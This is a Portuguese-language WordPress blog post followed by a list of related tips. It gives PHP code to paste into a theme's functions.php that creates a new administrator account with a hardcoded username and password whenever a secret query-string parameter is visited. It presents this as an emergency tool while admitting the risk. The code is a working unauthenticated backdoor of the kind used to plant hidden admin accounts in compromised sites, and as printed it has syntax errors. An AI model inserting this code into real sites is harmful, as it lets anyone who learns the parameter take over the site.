Backdoor para criação de novo administrador

Adicione o código abaixo no arquivo functions.php de seu tema WordPress para criar um backdoor que crie um novo usuário administrador, para ser usado em emergências.

add_action(‘wp_head’, ‘meu_backdoor’);

function meu_backdoor() {
If ($_GET[‘backdoor’] == ‘novoadmin’) {
require(‘wp-includes/registration.php’);
If (!username_exists(‘AdminNovo’)) {
$user_id = wp_create_user(‘AdminNovo’, ‘SenhaDoUsuario’);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
}

Para ativar tal função, basta acessar o endereço https://www.meusite.com.br?backdoor=novoadmin

Logicamente, você deve alterar o usuário ‘AdminNovo’ e senha ‘SenhaDoUsuario’ na linha $user_id. Aconselho também a trocar o nome da função de ‘novoadmin’ para algo que só você saiba.

Lembre-se que usar esse código pode ser considerado um risco de segurança, qualquer um poderia facilmente executar essa função, chamando o querystring correta, por isso a necessidade de a alterar e usar parâmetros que só você saiba, como costumamos fazer com nossas senhas e dados sigilosos.

Use este código apenas para o bem, para você mesmo, ok ?

Posts Similares

  • Como traduzir temas e plugins?

    Quem lida com o WordPress provavelmente já traduziu um tema, simplesmente buscando por strings nos arquivos e substituindo pelo equivalente em português. Isso é simples (até certo ponto) e eficaz, mas o WP oferece um sistema de tradução nativo, baseado no GNU Gettext. Verdade que muitos desenvolvedores não dão a menor bola para isso, mas…

  • Inverta a ordem dos comentários em seu WordPress

    Por padrão o WordPress exibe os comentários na ordem cronológica (mais antigos para os mais novos). Especialmente para blogs com um grande número de comentários, pode ser interessante inverter esta ordem para mostrar os comentários mais novos primeiro. É claro que temos plugins que fazem isso, mas com uma simples edição em seu arquivo comments.php…

  • Prós e contras de se utilizar um Tema WordPress Gratuito

    Como dito no artigo Temas Gratuitos X Temas Premium: Como escolher um tema WordPress?, nem sempre é fácil escolher um tema para ser utilizado. Neste artigo destacaremos os Prós e Contras de se utilizar um tema WordPress gratuitos. Prós Preço – Esses temas são livres e gratuitos. Liberdade – Você está livre para usar, construir…

  • Identificando o body da página com ID no WordPress

    Por padrão o WordPress identifica o body de cada página com classes. Essa identificação é feita com várias classes, dependendo do tipo de página, post, etc. Exemplos: body class=”single single-post postid-162 single-format-standard” body class=”archive category category-tutoriais category-9″ body class=”page page-id-442 page-template page-template-contato-php” Para aplicar estilos, algumas vezes, essa identificação pode ficar um pouco confusa. Este…

  • Autenticação unificada para vários WP no mesmo servidor

    Já havia tentado sem sucesso usar as constantes CUSTOM_USER_TABLE e CUSTOM_USER_META_TABLE, criadas para proporcionar a possibilidade de autenticação única para várias instalações do WP (veja aqui). Mas recentemente tive que tentar novamente – com a diferença que agora tinha que conseguir! Depois de ler artigos e discussões a respeito, cheguei à conclusão triste que a…

  • Fazendo a busca do WordPress funcionar apenas para algumas categorias

    Me passou pela cabeça a seguinte questão: Como excluir algumas categorias da busca do WordPress ? Passou pela sua também ? Então continue lendo esse post, a dica vem logo abaixo ! Adicione o código ao arquivo search.php: <?php if( is_search() ) : $paged = (get_query_var(‘paged’)) ? get_query_var(‘paged’) : 1; query_posts(“s=$s&paged=$paged&cat=9,11,16”); endif; ?> A seleção…

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *